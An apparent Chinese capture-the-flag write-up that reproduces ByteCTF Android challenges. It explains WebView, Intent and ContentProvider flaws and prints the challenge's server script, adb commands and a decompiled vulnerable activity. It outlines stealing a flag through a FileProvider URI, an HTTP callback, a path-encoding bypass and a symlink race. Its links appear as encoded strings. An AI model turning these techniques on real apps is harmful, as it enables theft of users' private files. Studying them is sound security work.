9月底就想复现了mobile题目,奈何当时时间有限,太过年轻,不能静下心来看整个题目的布置与攻击,这几天心血来潮,把题目复现了。
现在很多App中都会内置html5界面,有时候会涉及到与android进行交互,这就需要用到WebView控件,WebView可以做到:
创建WebView拥有两种方法,第一种方法是WebView webview = new WebView(getApplicationContext());创建;第二种是在xml文件内放在布局中;下面以第二种方法为例
Activity_main.xml文件
MainActivity.java文件
写完之后运行,发现报错,无法打开网页(net::ERR_CLEARTEXT_NOT_PERMITTED), 经过搜索在manifest内设置usesCleartextTraffic为true即可
可以看到百度已经被打开了,啊~因为这个app是我用来测试其他东西的,所以会看到三个奇奇怪怪的按钮
Uri代表要操作的数据,Android上可用的每种资源 (图像、视频片段、网页等) 都可以用Uri来表示。从概念上来讲,UrI包括URL。
Uri的基本结构是
path可以存在多个,以"/"连接 scheme://authority/path1/path2/path3?query#fragment
query可以带参数的返回值也可不带 scheme://authority/path1/path2/path3?id = 1#fragment
举例如下
scheme是在":"之前,所以他匹配的是http
authority是在"//"之后,所以297K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2W2k6h3g2W2k6h3g2W2k6h3g2W2k6h3g2W2k6h3g2S2i4K6u0W2j5$3&6Q4c8e0c8Q4b7U0S2Q4z5p5g2Q4c8e0g2Q4z5o6g2Q4b7U0k6Q4c8e0g2Q4b7f1k6Q4b7U0W2Q4c8e0g2Q4b7V1q4Q4z5e0b7`.
path自然对应的就是about这个页面
query对应的是id=1
在安卓内,除了authority和scheme必须存在,其他的可以选择性的要或者不要
将一个url解析成uri对象的操作是Uri.parse(“f2bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4@1f1J5i4K6R3H3i4K6W2p5i4K6t1&6i4@1g2r3i4@1u0o6i4K6S2o6i4@1f1#2i4@1t1H3i4@1t1I4i4@1f1$3i4K6V1^5i4@1q4r3i4@1f1#2i4@1t1H3i4K6R3$3i4@1f1%4i4K6V1&6i4@1u0q4i4@1f1#2i4@1u0m8i4@1p5$3i4@1f1%4i4@1u0p5i4K6V1I4i4@1f1#2i4K6W2p5i4K6R3H3i4@1f1^5i4@1p5%4i4@1p5K6i4@1f1$3i4K6W2q4i4K6V1H3i4@1f1$3i4K6R3^5i4K6V1H3i4@1f1@1i4@1t1^5i4K6R3H3i4@1f1@1i4@1t1^5i4@1q4m8N6i4u0A6i4@1f1#2i4@1q4r3i4@1t1&6i4@1f1^5i4@1t1I4i4@1p5I4i4@1g2r3i4@1u0o6i4K6S2o6i4@1f1#2i4K6S2r3i4@1q4r3i4@1f1@1i4@1u0n7i4@1p5#2i4@1f1#2i4@1q4r3i4@1t1&6i4@1f1#2i4K6R3#2i4@1t1$3i4@1f1^5i4@1u0r3i4K6W2n7i4@1f1^5i4@1p5I4i4K6S2o6i4@1f1#2i4K6R3#2i4@1t1$3i4@1f1@1i4@1u0n7i4K6V1$3i4@1f1%4i4K6W2m8i4K6R3@1i4@1f1#2i4K6V1H3i4K6R3@1i4@1f1%4i4@1p5%4i4K6S2p5i4@1f1$3i4K6V1K6i4K6S2p5i4@1f1@1i4@1u0p5i4K6W2o6i4@1f1@1i4@1u0m8i4K6R3$3
intent是各大组件之间通信的桥梁,Android有四个组件,分别是Activity,Service,Broadcast Receiver,Content Provider;组件之间可以进行通信,互相调用,从而形成一个app
每个应用程序都有若干个Activity组成,每一个Activity都是一个应用程序与用户进行交互的窗口,呈现不同的交互界面。因为每一个Acticity的任务不一样,所以经常互在各个Activity之间进行跳转,在Android中这个动作是靠Intent来完成的。通过startActivity()方法发送一个Intent给系统,系统会根据这个Intent帮助你找到对应的Activity,即使这个Activity在其他的应用中,也可以用这种方法启动它。
intent包括两种,一是显式另一个是隐式。显式intent通常是已经知道要启动Activity的包名,多发于同一个app内;隐式intent只知道要执行的动作是什么,比如拍照,录像,打开一个网站。
那么隐式的intent如何启动一个组件呢呢?如果没有约束的话可能会造成一些后果,所以在Manifest文件内定义了intent-filter标签,如果组件中的intentfilter和intent中的intentfilter匹配,系统就会启动该组件,并把intent传给它;若有多个组件都符合,系统变会弹出一个窗口,任我们选择启动该intent的应用(app)。
在intent-filter标签中,我们可以选择三个intent的属性进行设置,包括action,category,data
上图intent-filter定义的action为MAIN,代表app以这个activity开始
该属性是显式intent特有的,表明要启动的类的全称,包括包名和类名。有它就意味着只有Component name匹配上的那个组件才能接收你发送出来的显式intent。
下面代码可以启动另一个app的主页面
一个activity是否能被其他app的组件启动取决于"android:exported",true能,false不能。如果是false,这个activity只能被相同app的组件启动,或者是相同user ID的app的组件启动。
如果显式设置exported属性,不管这个activity有没有设置intent-filter,那么exported的值就是显式设置的值
如果没有设置exported属性,那么exported属性取决于这个activity是否有intent-filter
如有intent-filter,那么exported的值就是true
如没有intent-filter,那么exported的值就是false
一个字符串变量,用来指定Intent要执行的动作类别(比如:view or pick)。你可以在你的应用程序中自定义action,但是大部分的时候你只使用在Intent中定义的action,你可以通过Intent的setAction()方法设置action。
一个Uri对象,对应着一个数据。只设置数据的URI可以调用setData()方法,只设置MIME类型可以调用setType()方法,如果要同时设置这两个可以调用setDataAndType()。
一个包含Intent额外信息的字符串,表示哪种类型的组件来处理这个Intent。任何数量的Category 描述都可以添加到Intent中,你可以通过调用addCagegory()方法来设置category。
Intent可以携带的额外key-value数据,你可以通过调用putExtra()方法设置数据,每一个key对应一个value数据。你也可以通过创建Bundle对象来存储所有数据,然后通过调用putExtras()方法来设置数据。
用来指示系统如何启动一个Activity(比如:这个Activity属于哪个Activity栈)和Activity启动后如何处理它(比如:是否把这个Activity归为最近的活动列表中)。
运行run.sh,我自己启动了一遍docker环境,修改了一些部分,最终发现是在server.py文件的setup_emulator()函数 中没有模拟出来手机,只是创建了一个AVD环境,并没有emulator成功
由于自己能力有限,实在不知道如何修好这个docker环境,便就此搁置,导致后面silver droid利用也不完全;如若后续进步,必定再战一次
adb broadcast便是将服务器上的flag传给apk的FlagReceiver,通过adb shell进入手机,可以查看到flag被存到了"files/flag"内
之前有一个疑问,便是manifest文件将Flagreceiver设置为exported为false和设置了intent-filter,防止外界app进行干扰,那么是怎么将flag传递给FlagReceiver呢?
由于root的情况下,是忽略掉exported的,所以可以对其进行广播
通过intent传递url数据,下面可以通过-d选项来指定Intent data URI
下面的题目介绍,都是以pixel4为环境打的,因为docker我这边模拟不起来
同时记得自己写的apk要在AndroidManifest.xml内加两句话,可以让其有网络访问的权限
主要由攻击者提供一个url,在url内布置好exp,从而进行达到利用的目的,具体见代码块内分析
使用jeb打开apk,MainActivity如下
经过分析可知,MainActivity先loadUrl,从判断传入的intent是否符合https开头,以.myqcloud.com结尾,若符合;在请求js脚本的内容时会拦截其响应,对js脚本的response地址进行检查,则返回响应时修改响应数据。
主要功能就是提供一个检查并且打开传入的url地址
经过分析得知我们传入的poc必须以"https"开头,在webview中处理时以"myqcloud.com"结尾,但是在jump.html跳转页面时不包含myqcloud,需要用到字符转换之类.
由于是赛后复现,观察其他师傅的wp发现,我们js脚本中的请求url必须包含有flag文件,我自己也尝试过在几个服务器内部部署一个flag文件,可能是由于docker启动的问题,导致网络不稳定,一直请求不到
将此js文件放到e87K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1P5i4c8W2j5%4c8X3i4K6u0V1x3e0x3I4y4o6p5$3z5e0b7#2y4g2)9J5k6h3y4G2M7#2)9J5k6h3q4H3i4K6u0V1L8X3q4F1K9X3W2F1k6#2)9J5k6h3#2&6M7h3y4D9L8%4g2V1i4K6u0W2j5$3!0E0i4@1f1#2i4K6R3$3i4K6R3#2i4@1f1K6i4K6R3H3i4K6R3J5
打开apk之前,先大概看了一眼docker和启动环境的脚本,和Silver Droid的大致一样,其中server.py的实现便不同,大致便是由攻击者实现一个恶意apk,将题目提供的apk和自己实现的apk均安装到模拟器内,启动恶意apk的MainActivity来获得flag
由于篇幅,下面server.py代码仅复制与上面不一样的地方
看代码如下,一眼看去好短;
MainActivity的exported属性为true,所以可以通过外部app来启动MainActivity,具体利用思路可以是编写的恶意apk自带uri来访问受害者apk的flag文件,然后受害者app通过setResult将flag回带给恶意apk。
想要读取flag文件,需要利用fileprovider,可知authority是com.bytectf.bronzedroid.fileprovider,所以intent的data为content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag
恶意apk的MainActivity如下,下面的MainActivity可以进行本地测试;如果打远程需要将flag通过http回传到服务器。
若想回传flag,只需要在恶意apk内增加一个httpGet功能,然后在服务器内监听一下,代码如下
和前两题又不一样,这题先运行了受害apk的main,然后再运行恶意apk的main来拿到flag
代码看起来没有什么漏洞,只是创建了一个文件并向内部写入" I\'m in external"
VulProvider好像存在漏洞的样子
VulProvider使用了ContentProvider将应用程序的数据暴露给外界。
如何通过一套标准及统一的接口获取其他应用程序暴露的数据?Android提供了ContentResolver,外界的程序可以通过ContentResolver接口访问ContentProvider提供的数据。ContentResolver是通过URI来获取Provider所提供的数据
如果是普通文件,file.getAbsolutePath()和file.getCanonicalPath()是一样
如果是link文件,file.getAbsolutePath()是链接文件的路径;file.getCanonicalPath是实际文件的路径(所指向的文件路径)。
记住一定要执行adb shell setenforce 0 暂时关闭 selinux 进行验证。 不然会被坑惨,三天我才找到这个呜呜呜呜。
如果不关闭的话,file.getCanonicalPath是不会得到文件的软链接的路径,所以导致file.getCanonicalPath().startsWith(file0.getCanonicalPath())这个if判断过不去。。。。。
介绍:7baK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8X3p5#2y4K6t1@1x3U0x3&6x3U0k6Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0p5J5x3K6t1$3x3e0R3%4y4l9`.`.
我写了一个demo,大家可以试试看,挺好玩的
用"%2F"绕过getLastPathSegment;
那么我一开始想不到我们编写的apk如何与目标apk进行交流,如何启动目标apk的VulActivity,一方面需要请求受害者apk的VulProvider,另一方面需要进行线程竞争和软链接,当软链接合法的时候通过openFile的检测,进入ParcelFileDescriptor.open,这时如果凑巧非法链接到了flag文件,便可以得到flag了。
如果运行程序的话,可以观察到在手机里symlink文件的软链接一直在被切换,一是指向flag这个非法路径,二是指向sandbox/file1这个合法路径
由于我是用安卓机复现,所以让其指向了非法的flag文件和合法的/sandbox/file1便结束了(我不会说是我试了两天还没竞争出来),
三天后,解决了这个问题,已破案。原因上面以说
MainActivity如下:
本地拿到flag,也可以翻日志看
题目链接:链接: 76fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4P5r3k6C8z5p5@1J5g2r3!0q4K9W2u0F1x3s2y4D9k6r3E0g2b7W2A6#2b7b7`.`. 提取码: eeee
参考链接:25aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2N6$3#2Q4x3X3c8@1k6h3q4E0i4K6u0W2j5$3&6Q4x3V1k6A6L8X3c8W2P5q4)9J5k6i4m8Z5M7q4)9J5c8X3q4J5j5$3S2A6N6X3g2K6i4K6u0r3x3U0S2Q4x3V1j5`. 1d2K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3N6A6N6s2W2#2j5h3&6Q4x3X3g2U0L8$3#2Q4x3V1j5J5x3o6p5$3i4K6u0r3x3o6u0Q4x3V1j5J5y4#2)9J5c8X3q4E0i4K6u0V1j5$3!0E0L8h3q4F1k6q4)9J5c8R3`.`. 459K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8W2m8S2L8r3#2W2M7U0W2Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0p5J5x3U0b7J5x3o6M7H3y4H3`.`. a9bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1P5i4c8W2k6r3q4F1j5$3g2Q4x3X3g2X3k6h3W2K6K9s2g2Q4x3X3g2U0L8W2)9J5c8X3c8G2j5%4S2Q4x3V1k6V1L8%4S2U0L8W2N6E0N6r3E0u0d9i4c8J5c8$3!0C8j5$3E0X3L8K6q4H3N6f1u0@1b7$3R3`. 486K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6B7N6h3g2B7K9h3&6Q4x3X3g2U0L8W2)9J5c8Y4m8G2M7%4c8Q4x3V1j5$3z5o6b7@1z5e0l9K6z5e0x3^5y4K6V1H3x3o6p5@1z5e0V1H3 19eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6K9s2k6#2z5r3f1H3k6K6N6#2i4K6u0W2k6X3g2A6M7$3S2#2i4K6u0W2j5$3&6Q4x3V1k6V1L8$3y4K6i4K6u0r3k6r3!0U0j5$3&6V1h3i4W2Y4d9i4N6A6M7%4u0C8x3p5k6s2d9$3&6w2N6V1f1H3d9X3S2Y4 3caK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6N6i4m8H3L8%4u0@1i4K6u0W2k6$3!0G2k6$3I4W2i4K6u0W2j5$3!0E0i4K6u0r3k6X3q4I4M7#2)9J5c8X3q4F1M7%4N6W2M7W2)9J5c8U0M7@1z5e0j5&6x3e0x3`.
1.显示和渲染web界面
2.直接使用html进行布局
3.与js进行交互
1.显示和渲染web界面
2.直接使用html进行布局
3.与js进行交互
<WebView
android:id="@+id/eeeewebview"
android:layout_width="0dp"
android:layout_height="0dp"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
<WebView
android:id="@+id/eeeewebview"
android:layout_width="0dp"
android:layout_height="0dp"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// WebView
WebView webView = (WebView) findViewById(R.id.eeeewebview);
webView.loadUrl("0f8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8b7`.`. ");
webView.setWebViewClient(new WebViewClient(){
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
//使用WebView加载显示url
view.loadUrl(url);
//返回true
return true;
}
});
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// WebView
WebView webView = (WebView) findViewById(R.id.eeeewebview);
webView.loadUrl("f33K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8b7`.`. ");
webView.setWebViewClient(new WebViewClient(){
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
//使用WebView加载显示url
view.loadUrl(url);
//返回true
return true;
}
});
大致为[scheme:]scheme-specific-part[
细分为[scheme:][//authority][path][?query][
大致为[scheme:]scheme-specific-part[
细分为[scheme:][//authority][path][?query][
http://3dbK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2W2k6h3g2W2k6h3g2W2k6h3g2W2k6h3g2W2k6h3g2S2i4K6u0W2j5$3^5`. /about?id=1
http://65eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2W2k6h3g2W2k6h3g2W2k6h3g2W2k6h3g2W2k6h3g2S2i4K6u0W2j5$3^5`. /about?id=1
Intent intent = new Intent(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_LAUNCHER);
ComponentName cn = new ComponentName(packageName, className);
intent.setComponent(cn);
startActivity(intent);
Intent intent = new Intent(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_LAUNCHER);
ComponentName cn = new ComponentName(packageName, className);
intent.setComponent(cn);
startActivity(intent);
am broadcast -W -a "com.wuhengctf.SET_FLAG" -n "com.bytectf.silverdroid/.FlagReceiver" -e 'flag' 'flag{eeeeeeee}'
am broadcast -W -a "com.wuhengctf.SET_FLAG" -n "com.bytectf.silverdroid/.FlagReceiver" -e 'flag' 'flag{eeeeeeee}'
am start -a android.intent.action.VIEW -d https://beaK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0
am start -a android.intent.action.VIEW -d https://a7fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0
<uses-permission android:name="android.permission.INTERNET"/>
<application
android:usesCleartextTraffic="true"
<uses-permission android:name="android.permission.INTERNET"/>
<application
android:usesCleartextTraffic="true"
import os
import random
import subprocess
import sys
import time
import requests
import uuid
from hashlib import *
import zipfile
import signal
import string
isMacos = len(sys.argv) == 2
wordlist = string.ascii_letters
difficulty = 4
random_hex = lambda x: ''.join([random.choice(wordlist) for _ in range(x)])
ADB_PORT = int(random.random() * 60000 + 5000)
EMULATOR_PORT = 36666 if isMacos else (ADB_PORT + 1)
EXPLOIT_TIME_SECS = 30
APK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "app-debug.apk")
FLAG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "flag")
HOME = "/home/user"
VULER = "com.bytectf.silverdroid"
ENV = {}
ENV.update(os.environ)
if not isMacos:
ENV.update({
"ANDROID_ADB_SERVER_PORT": "{}".format(ADB_PORT),
"ANDROID_SERIAL": "emulator-{}".format(EMULATOR_PORT),
"ANDROID_SDK_ROOT": "/opt/android/sdk",
"ANDROID_SDK_HOME": HOME,
"ANDROID_PREFS_ROOT": HOME,
"ANDROID_EMULATOR_HOME": HOME + "/.android",
"ANDROID_AVD_HOME": HOME + "/.android/avd",
"JAVA_HOME": "/usr/lib/jvm/java-11-openjdk-amd64",
"PATH": "/opt/android/sdk/cmdline-tools/latest/bin:/opt/android/sdk/emulator:/opt/android/sdk/platform-tools:/bin:/usr/bin:" + os.environ.get("PATH", "")
})
def print_to_user(message):
print(message)
sys.stdout.flush()
def download_file(url):
try:
download_dir = "download"
if not os.path.isdir(download_dir):
os.mkdir(download_dir)
tmp_file = os.path.join(download_dir, time.strftime("%m-%d-%H:%M:%S", time.localtime())+str(uuid.uuid4())+'.apk')
f = requests.get(url)
if len(f.content) > 10*1024*1024:
return None
with open(tmp_file, 'wb') as fp:
fp.write(f.content)
return tmp_file
except:
return None
def proof_of_work():
print_to_user(f"First, to ensure that the service will not be dos, please answer me a question.")
prefix = random_hex(6)
suffix = random_hex(difficulty)
targetHash = sha256((prefix+suffix).encode()).hexdigest()
print_to_user(f'Question: sha256(("{prefix}"+"{"x"*difficulty}").encode()).hexdigest() == "{targetHash}"')
print_to_user(f'Please enter the {"x"*difficulty} to satisfy the above equation:')
proof = sys.stdin.readline().strip()
return sha256((prefix+proof).encode()).hexdigest() == targetHash
def check_apk(path):
try:
z = zipfile.ZipFile(path)
for f in z.filelist:
if f.filename == "AndroidManifest.xml":
return True
return False
except:
return False
def setup_emulator():
subprocess.call(
"avdmanager" +
" create avd" +
" --name 'pixel_xl_api_30'" +
" --abi 'google_apis/x86_64'" +
" --package 'system-images;android-30;google_apis;x86_64'" +
" --device pixel_xl" +
" --force" +
("" if isMacos else " > /dev/null 2> /dev/null"),
env=ENV,
close_fds=True,
shell=True)
return subprocess.Popen(
"emulator" +
" -avd pixel_xl_api_30" +
" -no-cache" +
" -no-snapstorage" +
" -no-snapshot-save" +
" -no-snapshot-load" +
" -no-audio" +
" -no-window" +
" -no-snapshot" +
" -no-boot-anim" +
" -wipe-data" +
" -accel on" +
" -netdelay none" +
" -no-sim" +
" -netspeed full" +
" -delay-adb" +
" -port {}".format(EMULATOR_PORT) +
("" if isMacos else " > /dev/null 2> /dev/null ") +
"",
env=ENV,
close_fds=True,
shell=True,
preexec_fn=os.setsid)
def adb(args, capture_output=True):
return subprocess.run(
['adb'] + (['-s', 'emulator-36666']+args if isMacos else args),
env=ENV,
close_fds=True,
capture_output=capture_output).stdout
def adb_install(apk):
adb(["install", "-t", apk])
def adb_activity(activity, extras=None, wait=False, data=None):
args = ["shell", "am", "start"]
if wait:
args += ["-W"]
args += ["-n", activity]
if extras:
for key in extras:
args += ["-e", key, extras[key]]
if data:
args += ["-d", data]
adb(args)
def adb_broadcast(action, receiver, extras=None):
args = ["shell", "su", "root", "am", "broadcast", "-W", "-a", action, "-n", receiver]
if extras:
for key in extras:
args += ["-e", key, extras[key]]
adb(args)
print_to_user(r
)
if not isMacos:
if not proof_of_work():
print_to_user("Please proof of work again, exit...\n")
exit(-1)
print_to_user("Please enter your poc url:")
url = sys.stdin.readline().strip()
if url.strip('"') == url:
url = f'"{url}"'
if not url.startswith('"https://'):
print_to_user("Invalid poc url.\n")
exit(-1)
print_to_user("Preparing android emulator. This may takes about 2 minutes...\n")
emulator = setup_emulator()
adb(["wait-for-device"])
adb_install(APK_FILE)
with open(FLAG_FILE, "r") as f:
adb_broadcast(f"com.wuhengctf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()})
adb_activity(f"{VULER}/.MainActivity", wait=True, data=url)
print_to_user("Launching! Let your apk fly for a while...\n")
if isMacos:
input('wait for debug')
else:
time.sleep(EXPLOIT_TIME_SECS)
print_to_user("exiting......")
try:
os.killpg(os.getpgid(emulator.pid), signal.SIGTERM)
os.killpg(os.getpgid(os.getpid()), signal.SIGTERM)
except:
pass
import os
import random
import subprocess
import sys
import time
import requests
import uuid
from hashlib import *
import zipfile
import signal
import string
isMacos = len(sys.argv) == 2
wordlist = string.ascii_letters
difficulty = 4
random_hex = lambda x: ''.join([random.choice(wordlist) for _ in range(x)])
ADB_PORT = int(random.random() * 60000 + 5000)
EMULATOR_PORT = 36666 if isMacos else (ADB_PORT + 1)
EXPLOIT_TIME_SECS = 30
APK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "app-debug.apk")
FLAG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "flag")
HOME = "/home/user"
VULER = "com.bytectf.silverdroid"
ENV = {}
ENV.update(os.environ)
if not isMacos:
ENV.update({
"ANDROID_ADB_SERVER_PORT": "{}".format(ADB_PORT),
"ANDROID_SERIAL": "emulator-{}".format(EMULATOR_PORT),
"ANDROID_SDK_ROOT": "/opt/android/sdk",
"ANDROID_SDK_HOME": HOME,
"ANDROID_PREFS_ROOT": HOME,
"ANDROID_EMULATOR_HOME": HOME + "/.android",
"ANDROID_AVD_HOME": HOME + "/.android/avd",
"JAVA_HOME": "/usr/lib/jvm/java-11-openjdk-amd64",
"PATH": "/opt/android/sdk/cmdline-tools/latest/bin:/opt/android/sdk/emulator:/opt/android/sdk/platform-tools:/bin:/usr/bin:" + os.environ.get("PATH", "")
})
def print_to_user(message):
print(message)
sys.stdout.flush()
def download_file(url):
try:
download_dir = "download"
if not os.path.isdir(download_dir):
os.mkdir(download_dir)
tmp_file = os.path.join(download_dir, time.strftime("%m-%d-%H:%M:%S", time.localtime())+str(uuid.uuid4())+'.apk')
f = requests.get(url)
if len(f.content) > 10*1024*1024:
return None
with open(tmp_file, 'wb') as fp:
fp.write(f.content)
return tmp_file
except:
return None
def proof_of_work():
print_to_user(f"First, to ensure that the service will not be dos, please answer me a question.")
prefix = random_hex(6)
suffix = random_hex(difficulty)
targetHash = sha256((prefix+suffix).encode()).hexdigest()
print_to_user(f'Question: sha256(("{prefix}"+"{"x"*difficulty}").encode()).hexdigest() == "{targetHash}"')
print_to_user(f'Please enter the {"x"*difficulty} to satisfy the above equation:')
proof = sys.stdin.readline().strip()
return sha256((prefix+proof).encode()).hexdigest() == targetHash
def check_apk(path):
try:
z = zipfile.ZipFile(path)
for f in z.filelist:
if f.filename == "AndroidManifest.xml":
return True
return False
except:
return False
def setup_emulator():
subprocess.call(
"avdmanager" +
" create avd" +
" --name 'pixel_xl_api_30'" +
" --abi 'google_apis/x86_64'" +
" --package 'system-images;android-30;google_apis;x86_64'" +
" --device pixel_xl" +
" --force" +
("" if isMacos else " > /dev/null 2> /dev/null"),
env=ENV,
close_fds=True,
shell=True)
return subprocess.Popen(
"emulator" +
" -avd pixel_xl_api_30" +
" -no-cache" +
" -no-snapstorage" +
" -no-snapshot-save" +
" -no-snapshot-load" +
" -no-audio" +
" -no-window" +
" -no-snapshot" +
" -no-boot-anim" +
" -wipe-data" +
" -accel on" +
" -netdelay none" +
" -no-sim" +
" -netspeed full" +
" -delay-adb" +
" -port {}".format(EMULATOR_PORT) +
("" if isMacos else " > /dev/null 2> /dev/null ") +
"",
env=ENV,
close_fds=True,
shell=True,
preexec_fn=os.setsid)
def adb(args, capture_output=True):
return subprocess.run(
['adb'] + (['-s', 'emulator-36666']+args if isMacos else args),
env=ENV,
close_fds=True,
capture_output=capture_output).stdout
def adb_install(apk):
adb(["install", "-t", apk])
def adb_activity(activity, extras=None, wait=False, data=None):
args = ["shell", "am", "start"]
if wait:
args += ["-W"]
args += ["-n", activity]
if extras:
for key in extras:
args += ["-e", key, extras[key]]
if data:
args += ["-d", data]
adb(args)
def adb_broadcast(action, receiver, extras=None):
args = ["shell", "su", "root", "am", "broadcast", "-W", "-a", action, "-n", receiver]
if extras:
for key in extras:
args += ["-e", key, extras[key]]
adb(args)
print_to_user(r
)
if not isMacos:
if not proof_of_work():
print_to_user("Please proof of work again, exit...\n")
exit(-1)
print_to_user("Please enter your poc url:")
url = sys.stdin.readline().strip()
if url.strip('"') == url:
url = f'"{url}"'
if not url.startswith('"https://'):
print_to_user("Invalid poc url.\n")
exit(-1)
print_to_user("Preparing android emulator. This may takes about 2 minutes...\n")
emulator = setup_emulator()
adb(["wait-for-device"])
adb_install(APK_FILE)
with open(FLAG_FILE, "r") as f:
adb_broadcast(f"com.wuhengctf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()})
adb_activity(f"{VULER}/.MainActivity", wait=True, data=url)
print_to_user("Launching! Let your apk fly for a while...\n")
if isMacos:
input('wait for debug')
else:
time.sleep(EXPLOIT_TIME_SECS)
print_to_user("exiting......")
try:
os.killpg(os.getpgid(emulator.pid), signal.SIGTERM)
os.killpg(os.getpgid(os.getpid()), signal.SIGTERM)
except:
pass
package com.bytectf.silverdroid;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.webkit.WebResourceRequest;
import android.webkit.WebResourceResponse;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.HashMap;
public class MainActivity extends AppCompatActivity {
@Override // androidx.fragment.app.FragmentActivity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(0x7F0B001C); // layout:activity_main
Uri uri0 = this.getIntent().getData(); //获得intent所传过来的data参数,可以来自另一个app
if(uri0 != null) { //若参数不为null
WebView webView = new WebView(this.getApplicationContext());//新建的页面取得是整个app的context
webView.setWebViewClient(new WebViewClient() { //当从一个网页跳转到另外一个网页时,我们希望目标网页仍然在当前的webview中显示,而不是在浏览器中打开
@Override // android.webkit.WebViewClient
public boolean shouldOverrideUrlLoading(WebView view, String url) {
//当shouldOverrideUrlLoading返回值为true,拦截webview加载url
try {
Uri uri0 = Uri.parse(url); //解析url
Log.e("Hint", "Try to upload your poc on free COS: 89eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0L8r3!0#2k6q4)9J5k6i4c8W2L8X3y4W2L8Y4c8Q4x3X3g2U0L8$3#2Q4x3V1k6V1L8$3y4#2L8h3g2F1N6q4)9J5c8Y4m8J5L8$3c8#2j5%4c8Q4x3V1j5@1x3K6k6Q4x3V1j5$3x3U0b7H3 ");
if(uri0.getScheme().equals("https")) { //scheme必须是https
return !uri0.getHost().endsWith(".myqcloud.com");//若是以.myqcloud.com结尾,返回true,再取反返回false,不会拦截webview加载url
}
}
catch(Exception e) {
e.printStackTrace();
return true;
}
return true;
}
});
webView.setWebViewClient(new WebViewClient() {
@Override // android.webkit.WebViewClient
public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) { //拦截url,js,css等响应阶段,拦截所有的url请求,若返回非空,则不再进行网络资源请求,而是使用返回的资源数据
FileInputStream inputStream;
Uri uri0 = request.getUrl(); //获得js请求的request
if(uri0.getPath().startsWith("/local_cache/")) { //检查域名后的path是否为/local_cache/开头
File cacheFile = new File(MainActivity.this.getCacheDir(), uri0.getLastPathSegment()); //只是在内存中创建File文件映射对象,而并不会在硬盘中创建文件,新建file以cache为目录,uri0的最后一个地址段
//getCacheDir获取手机中/data/data/包名/cache目录;
if(cacheFile.exists()) { //若映射的文件真实存在,则进入下面循环
try {
inputStream = new FileInputStream(cacheFile);//其将文件内容读取到了内存inputStream内,之后可以进行读取操作
}
catch(IOException e) {
return null;
}
HashMap headers = new HashMap();
headers.put("Access-Control-Allow-Origin", "*");
return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream); //返回响应
}
}
